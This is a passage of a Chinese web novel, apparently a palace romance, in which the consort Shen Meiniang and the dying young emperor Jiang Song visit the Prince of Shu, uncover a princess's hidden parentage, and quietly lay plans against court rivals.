“就要想!天天想,日日想。”沈美娘把旧事扯出来说,“爹爹小时候去思州城里做工,雇主家好心给他一碟点心,爹爹都揣了一路,给我揣回来。” “阿爹阿娘时时惦记我,我才会时时惦记你们。”沈美娘道。 七娘说不过沈美娘,只能敲了敲她的头:“你啊。” 沈美娘得意地扬了扬头。 她就是想让爹娘都过好日子,活着的时候住大房子,有奴仆伺候。等他们百年之后,也会住进砖头砌的墓室里去,还会因是她的父母被后世铭记。 就像孟母因生了孟子,教子有方,后世人人称之。 又好比,有汉一代,卫氏门庭因卫皇后显赫,歌谣里方唱“生男无喜,生女无怒”。 沈美娘也要她的爹娘,因教女有方,因她的优秀,被千秋万代的人都记得。 七娘看着比她都高的女儿,又看向她身旁的姜颂:“你们二人,此去回京路途遥远,定要仔细些。” 姜颂立刻道:“七娘,您放心,我一定照顾好美娘。” 七娘乜了他一眼,把包袱递给姜颂——里头应该放的都是美娘爱吃的东西。 她轻斥:“还叫什么七娘,你这孩子,还不知道改口。” 姜颂拿东西的手一滞,反应过来后,忙道:“阿娘。” 七娘很轻地点了下头,算是勉强应下了姜颂这声“娘”。 沈美娘和姜颂上了马车,她忍不住掀开帘子和七娘挥手。 直到七娘和沈温的身影彻底看不到,沈美娘才将车帘放下来。 姜颂先让沈美娘一个人默默静了一会儿,等她看起来心情好些了,才道:“美娘,你不必太过伤心,沈温和咱们不同路,我已经让他回京就去相看宅子。等开春路好走些了,就可以将阿爹阿娘都接到上京去了。” 沈美娘“嗯”了一句,还是望着车帘,像是有些忧伤。 姜颂忙道:“美娘,我还想好了,要给阿娘阿爹封赏。阿爹就封楚国公,至于阿娘就封秦国夫人,你小姨也得封,就封……” “好啦,我没有难过啦,你别再封了。”沈美娘忍不住笑出来。 她伸手想捏姜颂的脸,却发现他清减不少,没有能下手的地方了。 沈美娘只好改为捏他的手,道:“幸好我不是什么祸国妖妃,不然你不得把全天下,都给我糟蹋呢?” “你这个逻辑不成立,美娘你怎么可能是妖妃呢?你要是的话,我就不会喜欢你了。”姜颂道。 他说完这话,声音又小了许多:“而且……美娘,我真没你想的那般善良。” “其实,还没想到你是利用沈温离开的时候,我真的很生气。我想杀沈温的心都有了。”姜颂很想说明他不是个善良的人。 他又怕沈美娘不喜欢他这样,越说越没底气:“我的身份和我的经历,注定这辈子都无法像我娘亲那样平等博爱。但我也做不到像我父皇那样,视人命如草芥。” 沈美娘:“懂了,你又在内耗了。” 姜颂这个人就是这样,总是喜欢想些有的没的,想也就算了,他还喜欢把自己绕进去,把自己弄得不开心。 “我没有!”姜颂辩解。 他看沈美娘满脸好笑地看他,又点头:“好吧,你说得对,我就是内耗地活着。” “在遇到美娘你以前,我常常怀疑,我娘说的那个世界是否真的存在。即使是遇到你之后,我也还是怀疑过那些话都是骗人的。可是……美娘,等我真正了解你,我才知道,原来我娘没有骗我。”姜颂道。 他娘和那些书,让姜颂像听小说一样,知道可能有那么个好地方存在。 沈美娘让他确信,那个地方一定存在。 沈美娘被姜颂握住手,听到他道:“我确实内耗地活着。在无数件拿不准的事里,只有爱你毋庸置疑。” 在得知沈美娘可能是杀人逃犯时,姜颂在确信美娘不会无缘无故杀人的同时,他也考虑到了如果沈美娘真的杀过人,他该怎么办。 在那个瞬间,他想到的,依旧是他愿意保下沈美娘。 哪怕姜颂知道,在他昧着良心做下这个选择时,他就会被彻底被这个世界同化。 他也仍旧更偏向那个答案。 沈美娘听了姜颂说的话,心软了一下,道:“好吧,我相信你。” 她不太喜欢让话题停在这种煽情的事上。 沈美娘挑开阿娘给她的包袱,惊讶道:“这几个不是我爱吃的啊。” 姜颂从刚才的情绪回过神来,垂眸看着那些零嘴,还发觉其中几块油纸包的炙肉没有放蕺菜。 美娘爱吃,但他就吃不来蕺菜这种东西。 沈美娘看姜颂愣住,她道:“我娘果然是刀子嘴,豆腐心。” 七娘嘴上说什么看不上姜颂,实际上把他的喜好都记住了。 姜颂看着这些东西,也红了眼眶。 他声音有些哽咽:“阿娘待我真好。” 沈美娘看他这样,理解的同时也有些不理解他。 说不理解吧,姜颂八岁就没了娘,会这样确实也实属正常。 说理解吧,沈美娘觉得为了点吃的,就这样…… 姜颂好像宋薇记下来的那个世界的小说里写的一种主人公—— “爸爸,她才不是穷小子,她可是给我买烤肠和奶茶的。” 沈美娘脑海里只有这句话。 “美娘,你怎么呢?”姜颂看沈美娘脸上的笑很奇怪,唤了她好几声。 沈美娘连忙摇头:“没什么。” 姜颂为了点吃的就能红眼框,还是别继续逗他了。 逗哭了、逗生气了,还得她慢慢哄。 思州离蜀中不算很远,马车疾驰一周便能赶到。 蜀中治所在成都府,到成都府前,姜颂特地和美娘说了情况。 他道:“到了成都府,你和我一起喊蜀王舅舅就好,要是喊别的,舅舅会觉得咱们同他见外了。” 沈美娘听到这话不免有些意外。 在她的记忆里,姜颂对他那帮真的流着相似血脉的宗室叔伯,都没有这般亲近。 这个蜀王竟与他关系如此亲近。 坊间传闻,确实有人说文昭皇后和蜀王有私情。 不过沈美娘从没相信过这些坊间传闻。 沈美娘一直坚信,坊间喜欢编排宋薇和许多人有私情,就是因为她出身卑微,用宋薇那里的话来说大概就是……宋薇是整个民间传奇的顶流。 谁不喜欢看灰姑娘的爱情故事。 可是看姜颂和蜀王的关系,沈美娘虽不至于相信坊间传闻,但确实对两人的关系有了新的考量。 到蜀中那日,蜀王亲自到城门口,迎接姜颂和沈美娘。 蜀王恭敬行礼:“江江,你一路来,实在是舟车劳顿了。” 姜颂摇头:“来了西南定然是要来看舅舅的,不算辛苦,倒是辛苦舅舅还得来亲自迎接我。” “你既然来,做舅舅的,怎么能不接你。”蜀王又看向姜颂身旁的沈美娘,“想必这位便是沈娘子。” 姜颂颔首回应。 蜀王见状,颇为慈爱地看着她点头:“沈娘子瞧来气度非凡,实乃仙人之姿也。” 沈美娘含笑点了点头。 难怪姜颂喜欢这个舅舅,不说别的,这人和上京那堆看不上她,还只能奉承她的宗室们一比,倒是有趣的多。 蜀王与两人闲聊许多,终于试探着问:“翩翩在上京可还好?” 沈美娘听到这话,笑着点头:“郡主在上京很好,她平日里时常四处悠游,与本宫新认下的公主素来交好。” 蜀王松了口气,笑道:“小女年纪小,不懂事,在上京还得多仰仗娘娘照顾。” 沈美娘一口应下,却发觉其中不对。 她从小就知道蜀王是胡人,本姓何,是立了战功才被先帝赐的国姓。 沈美娘原以为蜀王可能是胡人与大燕人混血,想必生得更像大燕人。 但此刻真正见到,她才发觉蜀王全然是胡人长相,深目阔鼻,眼珠子也比大燕人但很多。 姜翩翩是蜀王的女儿,可她全身上下,可没有半分与蜀王相像的地方。 沈美娘从前觉得姜翩翩和姜颂长得像,不是没想过她是宋薇与蜀王的女儿。 但如今见到蜀王本人,沈美娘立刻就推翻了原本的猜想。 姜翩翩肯定不是蜀王的女儿,那她会是谁的女儿呢? 等一行人进了蜀王府,姜颂道:“美娘,我与舅舅还有话要说,你先回房好吗?” 沈美娘点头。 她正好需要时间去试探和思考姜翩翩的身世。 姜颂等沈美娘和侍女离开后,与蜀王进了蜀王府的书房。 蜀王关切问:“江江,你前些日子来的信,是什么意思?” “就是信中写的那般——舅舅,我时日无多了。”姜颂道。 “怎么会这样?你如今才多大岁数,你怎么……”蜀王满脸焦急,“舅舅已经送走过你娘了,你如今难道还要舅舅再送走你吗?” 姜颂无奈道:“舅舅,生死之事谁能说得准呢?” 他望着窗外的风雪,咳嗽一声,拢紧身上的大氅。 “我这次来,是有一事想要拜托你——也可以说是命令你。”姜颂道。 蜀王明白姜颂要说大事,猛地跪下:“臣但凭陛下吩咐。” 姜颂道:“我要你在我死后,誓死效忠沈贵妃,就像效忠我阿娘和我一样。” 蜀王听到这话,猛地抬头。 他自然听说了姜颂和沈美娘之间的事,但他无论无何,也没想到姜颂会愿意为沈美娘做到这个份儿上。 他手上握着的是西南十万重兵,还摄西南三十五个州。 这几乎可以说是能够改天换日的力量了。 第75章 第75章决战恋爱脑之巅。 沈美娘跟侍女去了蜀王给她和姜颂安排的住处。 她问蜀王府的侍女:“长宁郡主在家时,可有什么爱好?” 姜翩翩是姜颂登基以后,才被接到京城的。 她在蜀王府生活了七八年,想必府中侍女对她的爱好和日常也会很了解。 侍女不知道沈美娘问这个做什么,恭谨道:“郡主在家时,就崇道擅文,不仅如此,郡主的武艺也是王爷亲自教导的。” 那就是说姜翩翩这人能文能武,还对时下流行的道家也颇为感兴趣。 后者,沈美娘倒是清楚,毕竟姜翩翩能和李姮玩到一块去,两人的信仰自然是一样的。 但姜翩翩文武皆擅的事,沈美娘确实没怎么听说过。 她又问:“郡主毕竟是文弱女子,想必应是更喜欢诗文什么的?” “夫人您这就说错了,我家郡主的文采虽也不错,但却更爱舞刀弄棒。”侍女道。 沈美娘倒是从未想过这一点。 她对姜翩翩的印象,还停留在长得和姜颂有点像,生得很漂亮,喜欢搞点神神鬼鬼的东西上。 但她还真没想过姜翩翩竟然还喜欢舞刀弄棒。 沈美娘状似无意道:“郡主如此与众不同,也不知道是随了蜀王,还是随了蜀王妃。” 侍女滞了一下,才回答:“自然是王爷和王妃的长处郡主都随了。王爷年轻时南征北战,立下赫赫战功,谁提到了不称一句大英雄?王妃娴雅温柔,通诗书,最信奉几位道家的真君。” 沈美娘听出来侍女答话时略有迟疑。 民间关于姜翩翩的身世不是没有猜测,最盛行的说法,就是姜翩翩其实是文昭皇后与蜀王的女儿。 但这个说法,已经被沈美娘推翻了。 姜翩翩和蜀王生得没半分相似,蜀王肯定也知道。 到底是什么样的来历和背景,会让蜀王愿意养一个毫无血脉干系的女儿呢? 沈美娘想到这里,有些想不出答案了。 她想到颜舜华的存在——她既然是什么快穿者,想必对这些陈年旧事应该都是清楚的。 沈美娘便打算去她府上拜访。 而另一边的姜颂,已经和蜀王交代完了他的身后事。 他道:“舅舅便按我说的来,还请舅舅三月后密切关注京中动向,只要一旦您察觉不对,便可发兵,入京勤王。” 蜀王全都应下,忍不住担心姜颂:“江江,你做这些为何不叫沈娘子知晓?我瞧着,那姑娘是个好的,也不会将你的计划泄露出去。” 姜颂不能告诉蜀王,他要是敢把计划告诉沈美娘,她能马上让颜舜华送他到阿娘的世界去。 他眼神闪躲道:“舅舅,我也有我的难言之隐。” 蜀王听到这里有些沉默,看着姜颂,却不由想起很多年前另一个人相似的语气。 宋薇,那时也总说她有难言之隐。 蜀王不再追问,只道:“舅舅是个粗人,也不像叶明舟那般会搅弄风云,最擅四两拨千斤。如今你既然和舅舅开了口,舅舅当然会倾尽全力帮你。” 姜颂点头。 这也是他此行的原因。 叶先生对他父皇很忠心,不是对他忠心,姜颂不敢将沈美娘托付给他。 更何况,叶先生此人也有他自己的算盘,他未必能在美娘需要助力时,全力帮她。 姜颂蜀王说完他的想法和打算,又去找了颜舜华。 颜舜华显然对他的到来很意外。 “见过宋公子,不知道公子来这里所为何事?”颜舜华依旧装作一个普通人和姜颂说话。 姜颂不想浪费时间,他直接说了他知道颜舜华的真实身份,也说了他知道自己快死了这件事。 颜舜华不算很意外,她以为姜颂是要让她救他,却没想到姜颂道:“美娘,是不是让你一定要把送回我娘那个世界去?” 姜颂从颜舜华的迟疑里,得到了他想要的答案。” 我想你帮我,不让我回去。“姜颂道。 颜舜华以为姜颂是不清楚具体情况,给他解释:“你会死的。” “我知道。”姜颂道。 他看着颜舜华,语气无比诚恳:“我想请你帮我……骗美娘,就说你找到救我的办法了,可以让我继续留在这个世界不会死。” 姜颂不想骗沈美娘,可是,事到如今,他必须得骗沈美娘。 颜舜华不解:“你这么做是为什么呢?” “我如果在两个月后就离开这个世界,我来不及安排好美娘,她会有危险的。”姜颂道。 “还有——我舍不得沈美娘。” 姜颂知道去那个地方他可以长命百岁,兴许还可以和阿娘团圆。 可是那个地方没有沈美娘,就算在那里活到百岁又怎么样? 他宁可死在十八岁,死在美娘的怀里。 颜舜华不理解姜颂的这个选择,她还想再劝什么,却听到姜颂道:“你的任务不就是要让美娘,按原本的历史线当上皇帝吗?” “如果我草草离开,历史线肯定会继续歪下去,还不如我留下。”姜颂道。 姜颂这话打动了颜舜华。 她虽然很嗑姜颂和沈美娘的cp,但是她归根到底还是沈美娘的粉丝,对姜颂最多算是溺爱一下“姐夫”。 颜舜华也就同意了。 她道:“不过你要想好哦,我给你的道具只有两个月,这个世界对你的接纳程度……不出意外的话,加起来,你最多也只能再活半年时间。” 姜颂没有迟疑,道:“够了,多谢你。” 半年时间,已经足够他把想要做的事情做完,安排好所有身后事了。 姜颂和颜舜华说完事情,两人推门而出,却没想到沈美娘也在。 沈美娘看到两人,直觉不好,面上却还是笑着问姜颂:“宋江江,你来这里做什么?” 姜颂怕被沈美娘看出不对,忙道:“就是我突然身体又有些不舒服,就想着来问问颜娘子。” “你不舒服?你哪里不舒服?我让大夫给你看看?”沈美娘把刚才的怀疑抛掷脑后,只想着姜颂的身体是不是不好了。 姜颂没想到沈美娘会这般关心他,连连摇头:“已经好了,刚才颜娘子给我喂了药,已经好多了。” 他怕沈美娘不高兴,再三强调:“真的。” 颜舜华也道:“是真的,我刚给宋公子看完。” 她按刚才两人商量好的话,把姜颂可以继续留在这里的事情讲给沈美娘。 沈美娘听了颜舜华的话,没有如两人设想的那般机警,她反而好像很是高兴,反问:“真的?” 得到颜舜华肯定的回答,她忍不住笑出来。 沈美娘虽然总说要将姜颂送回那个世界去,但她心里其实还是更希望姜颂能留下来陪着她。 她拉着姜颂的手,笑得幸福而甜蜜:“真好。” 一想到,往后余生,姜颂还能继续陪在她身边,她就忍不住高兴。 姜颂见沈美娘这样,心里止不住心虚。 但他也只能强装无事,笑着回应:“能陪在美娘你身边真好。” 沈美娘没想到姜颂也在颜舜华这里,想到姜颂知道肯定也不少,她也就没有问姜翩翩身世的事情。 回去的路上,沈美娘直接问了姜颂,他知不知道姜翩翩的身世是怎么一回事。 她见姜颂沉默了,就知道他肯定知道。 果然,片刻后,姜颂对她道:“姜翩翩是谢太后的女儿。” “啊?”沈美娘惊讶道。 这个答案完全在她的意料之外。 谢太后平日里潜心向道,看起来就跟不食人间烟火的仙女一样。 她、她竟然敢给先帝戴绿帽子? 不过沈美娘想起谢太后曾和她说过的那些话,又觉得谢太后做出这事也不稀奇。 或许谢太后也是受了宋薇的影响。 姜颂继续道:“你应该听说过,谢太后那个刚生下来就咽了气的孩子吧……那个孩子就是翩翩。” 沈美娘当然知道,先帝的“著名”事件,这件事往往和他同文昭皇后的爱情故事放一块。 民间故事,大都认为先帝是为了姜颂未来的皇位稳固,下令命人杀死了那个孩子。 原来,真实情况竟是这样。 “我父皇当年是打算除掉这个孩子的,毕竟,这种事有损皇室颜面,还会混淆皇室血统。不过我娘听说了这件事,正好她当时身体也很不好,我身体也不好,她就和我父皇相认了。她说她愿意继续待在我父皇身边,但他得答应,容下谢太后肚子里的孩子。” 沈美娘听到这里,才发觉姜颂的某些品质,可能不是完全遗传他母亲的。 她觉得他的固执和一些“恋爱脑”,很有可能是从先帝那里遗传的。 沈美娘问:“翩翩是谢太后和谁的孩子?” 姜颂摇头:“我不知道。翩翩出生以后,谢太后不愿她卷入争斗,让我娘把她抱出宫交由其他人抚养。我娘放心不下其他人,也怕我父皇背着她伤害翩翩,就把翩翩交给了蜀王抚养。” “这件事我从前也不知道,是我娘回家前才告诉我的,就为了让我照顾翩翩。至于翩翩的生父,我娘没和我说,可能全天下也只有谢太后自己知道。”姜颂道。 翩翩的身世越少人知道越好,姜颂也是因为他相信沈美娘,也快要死了,才会把翩翩的身世告诉沈美娘。 沈美娘才好在以后,继续照顾姜翩翩。 沈美娘知道姜翩翩身世后,心里有了新谋算的同时,也明白姜颂对她的信任。 她拉着他的手,故意问:“宋江江,你就这般相信我?” 姜颂立刻就回答了沈美娘:“嗯,我最相信你。” 沈美娘被姜颂直接的回答,弄得有些不好意思。 她问姜翩翩身世,是存着利用的心思的,姜颂却这样…… 他怎么这般单纯,让她都有些愧疚了。 第76章 第76章闲庭看雪。 宁王又做梦了。 梦里是熟悉的宫阙,在华美的宫殿里,他着一身明黄躺在床上休憩 是他清醒时,只有姜颂能穿的明黄。 约莫是夏时,他身旁的女子拿着扇子,轻轻地替他打着。 女人生得很漂亮,如瀑般的青丝垂下,发尖勾连着她精致小巧的下巴。 她和沈美娘生了一张几乎相差无几的脸。 “朕死了,皇后愿意给朕陪葬吗?”他的声音艰难的从喉中挤出来。 梦里的那个他,看起来像是已经病入膏肓了。 他苍白着嘴唇张张合合,死亡的气息从他的口中溢出来。 “沈美娘”俯身抱紧他的头颅,和他紧紧相拥:“好,臣妾愿意陪陛下去死。” 她的眼里尽是柔情,比沈美娘看姜颂的目光,都还要更柔情千倍万倍。 梦里的他贴着她,像是坠入了温柔乡。 宁王也不由沉浸进去。 他的父亲被先帝赐死,母亲也没过两三年就抑郁而终了。 宁王从小到大都很渴望人间温情,他曾以为自己今生都没有机会得到。 直到他从十三岁起开始做梦,梦里都是一个温柔美丽的女人,陪着他、哄着他。 她在另一个,大抵是他父亲被扶上位,他也成功即 位的世界里,毫无保留地爱着他。 宁王从来不知道这个人是谁。 他赴了数不清的宴会,遍访了许多名山大川、名胜都会,连教坊都去了,却都没能遇到她。 直到上元夜的初遇,他才得知她竟是姜颂新纳的贵妃。 即使梦里被女人温柔地拥入怀中,他依旧还是忍不住愤怒。 凭什么姜颂从小就有父母疼爱,还抢走了本属于他的皇位和女人。 究竟凭什么? 姜颂流着贱民的血,却能得到他可望而不可即的一切? “王爷,王爷……” 下人的声音突兀的在宁王耳边响起,他才从梦中惊醒。 他喝了口茶,润了润嗓子:“怎么呢?” 下人:“郑尚书遣人来问,之前与您商量的事,您可想清楚呢?若是您同意,可往一品居详叙。” 宁王想起来郑愔那人所说—— 确实是会掉脑袋的事,但若是能成功,那本该属于他的一切,就会重新回到他手中。 再说,他可比不上先帝冷血,连自己的亲兄弟都能下手。 都怪姜颂自己不争气,是个活不长久的病秧子。 国不可一日无君,那个位置总得有人来坐- 姜颂打开手中的信,沈温已经按他的吩咐,将他命不久矣的消息传给了谢党人。 那他们也该有动作了。 姜颂将信件烧掉,看着火苗逐渐将整张纸都烧掉。 明亮的光源在他的眼里跃动,却照不透他眼中的神情。 少年单纯明媚的眼里,第一次有了复杂的筹谋算计。 直到—— “宋江江,你躲里面干什么呢?” 沈美娘推开门,看到姜颂面前被打开的香炉,里面还有奇怪的灰烬。 她探头看了看:“明日咱们就要启程回京了,今日是最后一次和舅舅吃饭的机会,你还不快点去?” 亏姜颂还是皇帝,连这么简单的处理亲戚间关系的道理都不懂。 姜颂把香炉合上,忙道:“这就来。” “你烧的那是什么?”沈美娘指了指那奇怪的东西。 姜颂“哦”了一声,道:“是我刚写的诗,觉得写的不好,就烧掉了。” 沈美娘知道姜颂这人很“文艺”,也去过他的梦境,知道他从小就喜欢诗文。 她勉强点头,又问:“你写的什么?快给我讲讲。” “写的不好……就是闲来无事写了几句,不是什么好听的。”姜颂脸红了红。 沈美娘勉强信了他这话:“只要是你写的,就是最好的,你快给我说说。” “咱们还是先去吃饭吧,叫舅舅久等了不好。”姜颂道。 沈美娘觉得姜颂的反应有些奇怪,但想到他可能真的写的太差了,不愿意让她发现。 她这么善良的人,为了姜颂的少男心着想,还是不追问好了。 明日,两人就要离开蜀中,蜀王特地为两人办了场饯别的宴会。 蜀王是个性情中人,宴会上喝了不少酒,要不是旁边的蜀王妃拉着,恐怕都得喝醉过去。 可能是喝多了酒,蜀王不由泪眼朦胧,拉着姜颂的手,感谢他这三年对姜翩翩的照顾。 言辞之间,蜀王也流露出,他对姜翩翩的思念。 蜀王妃也不由跟着抹眼泪。 沈美娘在旁边看着,觉得蜀王夫妇,对姜翩翩这个毫无血缘关系的女儿,还真是当亲生女儿般疼爱。 对比之下,谢太后对姜翩翩这个亲生女儿,都没这般好。 也不知道谢太后是真的不在乎姜翩翩,还是觉得姜翩翩身份特殊,不想暴露,给她带来祸患。 沈美娘又饮了一杯酒,眸色渐深。 姜翩翩在谢太后、蜀王等人心里的地位,直接关系到她以后的局该怎么布置。 “你少喝点酒。”姜颂在沈美娘耳边小声道。 沈美娘这才回过神,看了眼依旧以茶代酒的姜颂,挑了挑眉:“知道了,知道了。” 这个管家公。 她又不像他几乎滴酒不沾,她可是千杯不倒。 姜颂陪着蜀王喝了不少酒,蜀王边喝边回忆当年的宋江江和他娘,感叹时光飞逝。 蜀王妃可能是觉得蜀王这样实在是太没个长辈样,微笑着问姜颂,她能不能把蜀王先扶去休息了。 姜颂当然一口答应了。 这场饯别的宴会,姜颂陪蜀王聊天,吃得可以说是筋疲力尽。 明明是一样的“工作量”,沈美娘却依旧在旁边很是悠哉游哉地吃饭。 “美娘,我靠一下。”姜颂有些疲惫地靠在沈美娘肩头。 此时,整个屋内只剩下两人,除了冬日炭火燃烧的声音,就只剩下沈美娘继续吃东西的声音。 沈美娘发觉虽然有颜舜华的道具,但姜颂的精力还是明显比之前差很多。 她喝着肉汤,问:“你身体怎的还是这般差?该不会是颜舜华的道具没用吧。” 说者无心,听者有意,姜颂立刻坐直了身体:“有用的,就是有一点累了而已。” “现在已经好了。”姜颂起身,像是为了证明自己般,“我们现在就可以回房去‘睡觉’。” 提到“睡觉”两个字,姜颂有些害羞别扭地偏过头。 沈美娘差点一口肉汤喷出来。 倒也不用这种方式和她证明。 沈美娘努力咽下去后,才道:“不必了,我还没吃饱。” 刚才她光注意套话去了,没吃多少东西。 姜颂于是又安静坐到她身边,直到她吃完,才拉着她的手离开屋内。 两人从门内推门而出,沈美娘就惊喜地跑到院中,仰头道:“下雪了!” 思州下雪不稀奇,但蜀中可就稀奇了。 蜀中整个冬日都下不了几场雪,更不要说是这样的大雪。 雪约莫是在宴会的这一两个时辰下的。 在这不短不长的时间里,雪花已经堆满了枯枝,寂寞了许久的枯枝在冬日重新迸发出无限的春意。 沈美娘伸手去接雪,她大抵是有舞蹈底子的缘故,明明只是最简单的几个动作,都让人觉着赏心悦目,姿态优美。 姜颂站在檐下,静静地看着沈美娘,看她难得露出如此少年心性的模样。 这是他和美娘,一起闲庭看雪的第二年。 约莫,也是最后一次。 他垂下长长的眼睫,遮住眼里的失落和难过。 “宋江江,你不来玩雪吗?”沈美娘问。 姜颂张口欲言,但趁虚而入的寒气却叫他猛地咳嗽起来。 沈美娘忘了玩雪的快乐,惊讶地向他跑过来:“你怎么呢?” 姜颂看了眼手帕上的血迹,用力擦了擦嘴角,连忙把手帕揣进袖里。 他笑着摇头:“说话太急,被口水呛到了。” “你真没出息。”沈美娘笑道。 这么大的认了,怎么还和小孩子一样。 姜颂也不反驳,依旧笑着看沈美娘,就是他有些控制不住眼睛的酸涩感。 他怕自己控制不住落泪,便道:“美娘,我来背你吧。下了雪,路滑,不好走……万一摔倒,你身上的衣裳就脏了。” 沈美娘今日为了见长辈,特地穿了她最喜欢的一身衣裳。 她喜欢她的华服,肯定不舍得弄脏。 “好吧。” 果然,沈美娘这次没有拒绝。 姜颂微微弯腰,沈美娘就这样趴到他肩上。 她指挥着姜颂往院中的腊梅处走,去攀折那开得正好的微黄。 沈美娘今日约莫喝了不少酒,淡淡的酒香缠绕着腊梅的清香,还有她身上熟悉的脂粉香混杂在一起。 姜颂却不讨厌,反而沉溺其中。 他真的是滴酒不沾,闻了会儿酒味,就有些头昏了。 因着这份头晕,他忍不住问:“美娘,如果,我是说如果,我有天死了,你会怎做?” “说这个做什么?快过年了,多不吉利。”沈美娘忍不住皱眉。 姜颂愣了一下,没有再问。 沈美娘拿着花枝在他面前晃悠,贴在他耳边,暧昧地吐出热气:“怎么?你想我给你殉情吗?” 姜颂这么讲究爱情的人,想必是很认可宋薇书上那句“生命诚可贵,爱情价更高”吧? “不想!”姜颂拒绝得无比干脆。 沈美娘手里的花枝,都差点没拿稳,掉到地上去。 姜颂认真道:“美娘,没有任何人值得你付出生命,你一定要好好活下去。” 他死了不要紧。 但沈美娘要长命百岁。 “你活着,就是我活着。”姜颂嘴角荡开笑意,“你得看很多很多的风景,在我们重逢之时,仔细地讲给我听。” 第77章 第77章他在布局,她也在布局,…… 沈美娘和姜颂启程出发前,沈美娘给了青词一笔钱,请她回上京再帮她一段时间。 但这次青词把她的钱拒了。 青词笑着摇头:“朋友之间不必谈这些。” 她看沈美娘似乎还想说什么,道:“美娘,你给我的金子,我这辈子都花不完了……实在不行,待你日后再风光些,你也像待宝儿那般,给我个职位当当。” “像什么道官,还有他们佛家的都教授那种?”青词道。 沈美娘知道青词这话是开玩笑,却也只好将准备好的酬金收回。 她道:“那便麻烦你了。” 沈美娘还不知道姜颂的计划,但她也有自己的打算。 谢家揭穿她身世之事,她若是不想办法报复回去,岂不是叫谢党以为她是什么软柿子。 沈美娘心中担心谢党反击,身边自然需要一个人贴身守护。 姜颂在她身边安排了暗卫,但沈美娘还是更相信青词。 等沈美娘和姜颂真的回京,已经立了春。 上京的春来得晚,回京时,路边仍有积雪, 这里还没有半分春意。 沈美娘做的第一步,就是将姜翩翩接回了宫中,安排她在离谢太后府中很近的宫殿住下。 姜颂不解:“美娘,你这是要做什么?” “翩翩是太后娘娘的女儿,以前我不知道,如今知道了,自然想她们能多相处些时间。”沈美娘道。 她看姜颂还有顾虑,就抱着他的手撒娇:“宋江江,你之前不是觉得翩翩年岁渐长,你后宫又空置,怕别人误会吗?现在人人都知道你宠爱我,由我来下令,也就没人会误会了。” 姜颂听到这话,他也乐得让谢太后和翩翩能多见面,便同意了这件事。 这事之后,沈美娘原想推进下一步,却先看出了姜颂的不对劲儿。 他总是没来由的咳嗽,脸色似乎也有些过于苍白。 沈美娘不是好骗的人,她想到颜舜华说的姜颂身体的事。 她明确问过颜舜华有没有法子能救姜颂,当时颜舜华也只给出了送姜颂离开的办法。 缘何后来,颜舜华又突然改口,说她还有别的法子救姜颂? “你是不是在骗我?”沈美娘质问。 她盯着姜颂,眼里是姜颂从未见过的寒意。 姜颂连忙辩解:“没有,我就是这两日受了寒咳嗽,真的没事。” 沈美娘不信,唤来宫人:“传太医。” 但她又立刻摆手,道:“青词,你来给陛下把脉。” 太医院的人都只会听姜颂的话,姜颂如果真的是在强撑,他们定然也无人敢据实相告。 沈美娘紧盯着青词的动作,期间姜颂还是有些不愿意:“我真的没事,美娘,你就信我嘛。” 沈美娘冷冷瞪了他一眼:“闭嘴。” 姜颂知道美娘这是真的要生气了,只好乖乖伸出手给青词把脉。 青词认真把了许久,轻笑道:“美娘,陛下圣体微恙,只是略有风寒之兆。太医院们的大人们各个都是神医,他们既然给陛下开了药方,喝上个几副就能好了。” 姜颂偏过头,“哼”了一声:“你看吧,我就说我没病,你还凶我。” 沈美娘也没想到姜颂真的没有生病。 她让青词和其他人都先退下,才去拉姜颂的手:“臣妾也是担心陛下,陛下的身体关乎社稷安定,是万万马虎不得的。” “再说……”沈美娘见姜颂还不理她,起身捏住他的脸:“你一个风寒就这样作甚?我还以为你……反正,就是害我担心了好一阵。” 颜舜华说姜颂的身体已经没事了,加之那人的事业都在蜀中。 这次回京,沈美娘也就没让颜舜华跟来,好让她好好继续赚钱、攒钱。 要是姜颂的身体真的还有问题,上京到蜀中,便是昼夜不休,骏马疾驰,来这一趟也得大半个月。 若是姜颂是骗她的,急召颜舜华入京,恐怕都来不及了。 姜颂见沈美娘勉强相信了她,在心里松了口气。 他贴到沈美娘怀里:“我真的没事。” 在沈美娘看不到的地方,姜颂眼里闪过一丝侥幸。 还好如今还在一开始颜舜华给他吃的那药丸的三月有效期内,而且那个女人也给了他服下了可以让脉息,永远和常人无异的药丸。 不然以美娘的心细程度,肯定是骗不过去她的。 姜颂又道:“不过,我确实一直在对外放我身体不好的风声。” 沈美娘撑起身,心中疑窦再生:“你……” “我打算以我身体不好,需要一场婚事冲喜为由,封你做皇后。”姜颂低头轻笑。 他有些不好意思地摩挲袖口:“美娘,我没我父皇厉害,直接封你做皇后确实会比较困难。但是我们都相识快两年了,也有了夫妻之实,我不想在别人眼里,你只是我的妃子。” 贵妃说得再好听,也只是帝王家的妾罢了,和皇后的意义根本就不一样。 沈美娘没想到姜颂会这么快封她做皇后。 她这个人有自知之明,她的出身放在满朝官员眼里和贱民也没多大区别,加之她又无子。 就算是先帝,也是在文昭皇后生了姜颂后,方以她诞育皇嗣有功作由头,册封她做的皇后。 这还是在先帝性格强势,直接杀了、贬谪了好多反对官员的情况下才办到的。 依姜颂的柔和性子,他想把如今无子的沈美娘推到皇后的位置,他的耳朵得被群臣吵疼。 “那就多谢陛下了。”沈美娘紧紧握住姜颂的手。 她原本是想等过个几年,她从宗室里过继个孩子,在朝中也有更多可用之人后,让姜颂再顺势封她做皇后的。 眼下不是什么好时机。 但姜颂既然说了,沈美娘也不会拒绝这唾手可得的皇后之位。 姜颂见沈美娘没有对他突然的决定生疑,信了他的借口,勾了勾唇。 他确实想封美娘做皇后,但放出他重病的风声,自然也有别的缘由。 沈美娘在确定姜颂没有大碍后,出宫去见了沈温。 路上,她特地命人到叶丞相的府邸去绕了一圈,她掀开车帘往门口看了一眼。 当真是门庭若市。 她问同行的宫女韦阿宜:“这是在忙什么?” 韦阿宜:“春三月,将放春闱榜,想必是各地贡生们,到叶府府上行卷。” 本朝科举不仅讲究科场内,科场外举子的名声、威望,与主考官的关系都会影响到最终科举名次。 想要拿得好名次的举子们,几乎都擅于经营名望。 沈美娘继续看着外头,前往叶府行卷的人,觉得颇为有趣。 叶府的门房对这些来往匆匆的举子,态度都很是和善,想必是叶丞相提前吩咐了。 这个叶明舟还真是很会经营名声的一个人。 为官清正,待人亲和,年轻时是州郡出了名的孝子,一路从一个父早亡,被宗族欺压的寒门子弟,爬到如今的位置。 天底下大抵就没有不羡慕他的男人了。 若说叶明舟如此完美的一个人,唯一饱受诟病,甚至惹来民间非议的,也就是…… 他无妻无妾无子。 谢党他那些斗不赢,又整不死他的死对头,可没少给他造谣。 